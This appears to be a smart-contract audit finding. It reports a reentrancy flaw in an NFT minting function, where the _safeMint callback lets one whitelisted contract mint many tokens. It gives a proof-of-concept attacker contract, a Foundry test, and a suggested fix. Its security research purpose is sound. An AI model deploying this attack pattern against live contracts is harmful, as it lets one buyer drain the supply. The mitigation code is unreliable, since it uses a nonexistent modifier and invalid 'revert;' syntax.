Root + Impact
Description
-
Normal Behavior: The mintNft function should allow a whitelisted user to mint a single NFT per transaction, incrementing the tokenIdCounter linearly until the MAX_SUPPLY is reached.
-
Specific Issue: The function uses _safeMint, which triggers a callback to onERC721Received if the recipient is a contract. Because the contract lacks a Reentrancy Guard, a malicious contract can recursively call mintNft within the callback to mint multiple NFTs in a single top-level transaction.
function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
tokenIdCounter++;
collateralForMinting[tokenIdCounter] = lockAmount;
@> _safeMint(msg.sender, tokenIdCounter);
}
Risk
Likelihood:High
-
Reason 1: The use of _safeMint explicitly hands over execution control to the receiver before the function finishes.
-
Reason 2: There is no nonReentrant modifier or state-check to prevent multiple entries from the same caller.
Impact: High
-
Impact 1: A single user can exhaust the MAX_SUPPLY, preventing other whitelisted users from minting.
-
Impact 2: Allows for "bulk-minting" that bypasses any intended distribution logic or rate-limiting.
Proof of Concept
Paste this malicious contract in the NFTDealersTest.t.sol
contract MaliciousUser is IERC721Receiver {
NFTDealers public nftDealers;
MockUSDC public usdc;
uint256 no;
constructor(address _nftDealers, address _usdc) {
nftDealers = NFTDealers(_nftDealers);
usdc = MockUSDC(_usdc);
}
function attack() public {
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
no++;
if (no <= 5) {
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
return IERC721Receiver.onERC721Received.selector;
}
return IERC721Receiver.onERC721Received.selector;
}
}
Now paste this test function
function test_mintNftReentrancy() public revealed {
MaliciousUser malUser = new MaliciousUser(address(nftDealers), address(usdc));
deal(address(usdc), address(malUser), type(uint256).max);
vm.prank(owner);
nftDealers.whitelistWallet(address(malUser));
malUser.attack();
assertEq(nftDealers.tokenIdCounter(), 6, "Worked");
}
Recommended Mitigation
Apply a Reentrancy Guard or update the state before the external call. Note: Adding a mint limit should also follow CEI.
+ mapping(address => uint256) public userNfts;
function mintNft() external payable onlyWhenRevealed onlyWhitelisted ReentrancyGuard {
+ if(userNfts[msg.sender] > 5) revert;
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
tokenIdCounter++;
collateralForMinting[tokenIdCounter] = lockAmount;
+ userNfts[msg.sender] += 1;
_safeMint(msg.sender, tokenIdCounter);
}